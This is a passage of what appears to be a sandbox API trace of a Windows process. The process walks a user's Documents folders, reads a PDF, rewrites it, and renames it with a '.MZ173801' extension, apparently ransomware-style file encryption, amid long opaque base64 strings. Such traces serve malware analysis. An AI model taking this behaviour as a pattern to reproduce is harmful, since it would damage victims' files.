lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0124.864] GetCurrentThreadId () returned 0x9fc [0124.864] GetCurrentThreadId () returned 0x9fc [0124.864] GetCurrentThreadId () returned 0x9fc [0124.865] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0124.865] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x7a13fc, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0124.865] GetCurrentThreadId () returned 0x9fc [0124.865] GetCurrentThreadId () returned 0x9fc [0124.865] GetCurrentThreadId () returned 0x9fc [0124.865] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\6qa-y\\UeE7MtfOi.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\6qa-y\\uee7mtfoi.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x298 [0124.865] SetFilePointer (in: hFile=0x298, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3ec*=0) returned 0x0 [0124.865] SetFilePointer (in: hFile=0x298, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0124.866] SetFilePointer (in: hFile=0x298, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0xf788 [0124.866] SetFilePointer (in: hFile=0x298, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0124.866] ReadFile (in: hFile=0x298, lpBuffer=0x714510, nNumberOfBytesToRead=0xf788, lpNumberOfBytesRead=0x18f3f8, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f3f8*=0xf788, lpOverlapped=0x0) returned 1 [0124.867] CloseHandle (hObject=0x298) returned 1 [0124.868] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\6qa-y\\UeE7MtfOi.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\6qa-y\\uee7mtfoi.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x298 [0124.870] WriteFile (in: hFile=0x298, lpBuffer=0x724540*, nNumberOfBytesToWrite=0xf788, lpNumberOfBytesWritten=0x18f404, lpOverlapped=0x0 | out: lpBuffer=0x724540*, lpNumberOfBytesWritten=0x18f404*=0xf788, lpOverlapped=0x0) returned 1 [0124.872] CloseHandle (hObject=0x298) returned 1 [0124.872] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\6qa-y\\UeE7MtfOi.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\6qa-y\\uee7mtfoi.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\6qa-y\\UeE7MtfOi.pdf.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\6qa-y\\uee7mtfoi.pdf.mz173801")) returned 1 [0124.873] GetCurrentThreadId () returned 0x9fc [0124.873] GetCurrentThreadId () returned 0x9fc [0124.873] GetCurrentThreadId () returned 0x9fc [0124.873] GetCurrentThreadId () returned 0x9fc [0124.873] GetCurrentThreadId () returned 0x9fc [0124.873] GetCurrentThreadId () returned 0x9fc [0124.873] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d47a6d0, ftCreationTime.dwHighDateTime=0x1d5e46e, ftLastAccessTime.dwLowDateTime=0xbf1209c0, ftLastAccessTime.dwHighDateTime=0x1d5e7cd, ftLastWriteTime.dwLowDateTime=0xbf1209c0, ftLastWriteTime.dwHighDateTime=0x1d5e7cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="_bUsoF-1OZB 3IZ4", cAlternateFileName="_BUSOF~1")) returned 1 [0124.873] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d47a6d0, ftCreationTime.dwHighDateTime=0x1d5e46e, ftLastAccessTime.dwLowDateTime=0xbf1209c0, ftLastAccessTime.dwHighDateTime=0x1d5e7cd, ftLastWriteTime.dwLowDateTime=0xbf1209c0, ftLastWriteTime.dwHighDateTime=0x1d5e7cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="_bUsoF-1OZB 3IZ4", cAlternateFileName="_BUSOF~1")) returned 0 [0124.873] GetLastError () returned 0x12 [0124.873] FindClose (in: hFindFile=0x2fc700 | out: hFindFile=0x2fc700) returned 1 [0124.873] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\6qa-y\\*.*", lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb90f8070, ftCreationTime.dwHighDateTime=0x1d5da99, ftLastAccessTime.dwLowDateTime=0x9b469f00, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0x9b469f00, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName=".", cAlternateFileName="")) returned 0x2fc700 [0124.873] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a8 | out: lpLocalFileTime=0x18f4a8) returned 1 [0124.873] FileTimeToDosDateTime (in: lpFileTime=0x18f4a8, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0124.874] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb90f8070, ftCreationTime.dwHighDateTime=0x1d5da99, ftLastAccessTime.dwLowDateTime=0x9b469f00, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0x9b469f00, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="..", cAlternateFileName="")) returned 1 [0124.874] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0124.874] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0124.874] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb75500, ftCreationTime.dwHighDateTime=0x1d5dafb, ftLastAccessTime.dwLowDateTime=0x8ab4b270, ftLastAccessTime.dwHighDateTime=0x1d5e6fd, ftLastWriteTime.dwLowDateTime=0x9b443da0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x7971, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="1n-q56s0pDc.xlsx.MZ173801", cAlternateFileName="1N-Q56~1.MZ1")) returned 1 [0124.874] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0124.874] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0124.874] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2f5190, ftCreationTime.dwHighDateTime=0x1d5df90, ftLastAccessTime.dwLowDateTime=0xef3c0330, ftLastAccessTime.dwHighDateTime=0x1d5e511, ftLastWriteTime.dwLowDateTime=0xef3c0330, ftLastWriteTime.dwHighDateTime=0x1d5e511, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="4MEDSGumwQmrlccZ3NM", cAlternateFileName="4MEDSG~1")) returned 1 [0124.874] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0124.874] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0124.874] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\6qa-y\\4MEDSGumwQmrlccZ3NM\\*.*", lpFindFileData=0x18f264 | out: lpFindFileData=0x18f264*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2f5190, ftCreationTime.dwHighDateTime=0x1d5df90, ftLastAccessTime.dwLowDateTime=0xef3c0330, ftLastAccessTime.dwHighDateTime=0x1d5e511, ftLastWriteTime.dwLowDateTime=0xef3c0330, ftLastWriteTime.dwHighDateTime=0x1d5e511, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName=".", cAlternateFileName="")) returned 0x2fc740 [0124.874] FindNextFileW (in: hFindFile=0x2fc740, lpFindFileData=0x18f264 | out: lpFindFileData=0x18f264*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2f5190, ftCreationTime.dwHighDateTime=0x1d5df90, ftLastAccessTime.dwLowDateTime=0xef3c0330, ftLastAccessTime.dwHighDateTime=0x1d5e511, ftLastWriteTime.dwLowDateTime=0xef3c0330, ftLastWriteTime.dwHighDateTime=0x1d5e511, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="..", cAlternateFileName="")) returned 1 [0124.874] FindNextFileW (in: hFindFile=0x2fc740, lpFindFileData=0x18f264 | out: lpFindFileData=0x18f264*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x156cf370, ftCreationTime.dwHighDateTime=0x1d5dac2, ftLastAccessTime.dwLowDateTime=0xe7701250, ftLastAccessTime.dwHighDateTime=0x1d5de71, ftLastWriteTime.dwLowDateTime=0xe7701250, ftLastWriteTime.dwHighDateTime=0x1d5de71, nFileSizeHigh=0x0, nFileSizeLow=0xe92a, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="jS6DiLz01 X90l.xlsx", cAlternateFileName="JS6DIL~1.XLS")) returned 1 [0124.874] FileTimeToLocalFileTime (in: lpFileTime=0x18f278, lpLocalFileTime=0x18f1dc | out: lpLocalFileTime=0x18f1dc) returned 1 [0124.874] FileTimeToDosDateTime (in: lpFileTime=0x18f1dc, lpFatDate=0x18f246, lpFatTime=0x18f244 | out: lpFatDate=0x18f246, lpFatTime=0x18f244) returned 1 [0124.874] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\6qa-y\\4MEDSGumwQmrlccZ3NM\\jS6DiLz01 X90l.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\6qa-y\\4medsgumwqmrlccz3nm\\js6dilz01 x90l.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x18f16c | out: lpFileInformation=0x18f16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x156cf370, ftCreationTime.dwHighDateTime=0x1d5dac2, ftLastAccessTime.dwLowDateTime=0xe7701250, ftLastAccessTime.dwHighDateTime=0x1d5de71, ftLastWriteTime.dwLowDateTime=0xe7701250, ftLastWriteTime.dwHighDateTime=0x1d5de71, nFileSizeHigh=0x0, nFileSizeLow=0xe92a)) returned 1 [0124.876] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0124.876] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0124.877] GetCurrentThreadId () returned 0x9fc [0124.877] GetCurrentThreadId () returned 0x9fc [0124.877] GetCurrentThreadId () returned 0x9fc [0124.878] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 